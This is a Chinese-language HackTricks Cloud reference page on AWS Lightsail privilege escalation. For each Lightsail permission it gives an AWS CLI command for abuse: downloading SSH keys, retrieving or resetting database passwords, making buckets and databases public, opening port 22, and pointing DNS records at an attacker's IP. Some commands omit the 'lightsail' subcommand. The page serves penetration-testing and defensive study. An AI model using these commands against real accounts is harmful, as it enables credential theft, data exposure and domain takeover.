AWS - Lightsail Privesc
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
Lightsail
有关 Lightsail 的更多信息,请参见:
Warning
请注意,Lightsail 不使用属于用户的 IAM roles,而是使用由 AWS 管理的账户,因此你无法滥用此服务来进行 privesc。不过,敏感数据(例如代码、API keys 和数据库信息)可能会出现在此服务中。
lightsail:DownloadDefaultKeyPair
该权限将允许你获取用于访问实例的 SSH 密钥:
aws lightsail download-default-key-pair
潜在影响: 查找实例内的敏感信息。
lightsail:GetInstanceAccessDetails
该权限将允许你生成 SSH 密钥以访问实例:
aws lightsail get-instance-access-details --instance-name <instance_name>
Potential Impact: 在实例内查找敏感信息。
lightsail:CreateBucketAccessKey
此权限将允许你获取用于访问 bucket 的 key:
aws lightsail create-bucket-access-key --bucket-name <name>
潜在影响: 在存储桶中查找敏感信息。
lightsail:GetRelationalDatabaseMasterUserPassword
此权限将允许你获取访问数据库的凭据:
aws lightsail get-relational-database-master-user-password --relational-database-name <name>
潜在影响: 在数据库中查找敏感信息。
lightsail:UpdateRelationalDatabase
该权限将允许你更改用于访问数据库的密码:
aws lightsail update-relational-database --relational-database-name <name> --master-user-password <strong_new_password>
如果数据库不是公开的,你也可以使用以下权限将其设为公开:
aws lightsail update-relational-database --relational-database-name <name> --publicly-accessible
Potential Impact: 在数据库中发现敏感信息。
lightsail:OpenInstancePublicPorts
此权限允许将端口向互联网开放。
aws lightsail open-instance-public-ports \
--instance-name MEAN-2 \
--port-info fromPort=22,protocol=TCP,toPort=22
Potential Impact: 访问敏感端口。
lightsail:PutInstancePublicPorts
此权限允许将端口开放到互联网。请注意,该调用会关闭任何在调用中未指定的已开放端口。
aws lightsail put-instance-public-ports \
--instance-name MEAN-2 \
--port-infos fromPort=22,protocol=TCP,toPort=22
Potential Impact: 访问敏感端口。
lightsail:SetResourceAccessForBucket
该权限允许授予实例对 bucket 的访问,而无需任何额外凭证。
aws set-resource-access-for-bucket \
--resource-name <instance-name> \
--bucket-name <bucket-name> \
--access allow
Potential Impact: 可能获得对包含敏感信息的存储桶的新访问权限。
lightsail:UpdateBucket
有了此权限,攻击者可以授予其自己的 AWS 帐户对存储桶的读取访问权限,甚至将存储桶设为对所有人公开:
# Grant read access to exterenal account
aws update-bucket --bucket-name <value> --readonly-access-accounts <external_account>
# Grant read to the public
aws update-bucket --bucket-name <value> --access-rules getObject=public,allowPublicOverrides=true
# Bucket private but single objects can be public
aws update-bucket --bucket-name <value> --access-rules getObject=private,allowPublicOverrides=true
Potential Impact: 可能获得对包含敏感信息的存储桶的新访问权限。
lightsail:UpdateContainerService
拥有此权限时,attacker 可以通过 containers service 授予对 private ECRs 的访问权限。
aws update-container-service \
--service-name <name> \
--private-registry-access ecrImagePullerRole={isActive=boolean}
潜在影响: 从私有 ECR 获取敏感信息
lightsail:CreateDomainEntry
拥有此权限的攻击者可以创建子域并将其指向自己的 IP 地址(subdomain takeover),或构造 SPF 记录,允许其从该域 spoof 邮件,甚至将主域名指向自己的 IP 地址。
aws lightsail create-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potential Impact: 接管域名
lightsail:UpdateDomainEntry
拥有此权限的攻击者可以创建子域名并将其指向他自己的 IP 地址 (subdomain takeover),或伪造 SPF 记录,使他能够以该域发送伪造邮件,甚至将主域名指向他自己的 IP 地址。
aws lightsail update-domain-entry \
--domain-name example.com \
--domain-entry name=dev.example.com,type=A,target=192.0.2.0
Potential Impact: 接管域名
Tip
学习并练习 AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
学习并练习 GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
学习并练习 Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
支持 HackTricks
- 查看 subscription plans!
- 加入 💬 Discord group 或者 telegram group 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库 提交 PRs 来分享 hacking tricks。
HackTricks Cloud

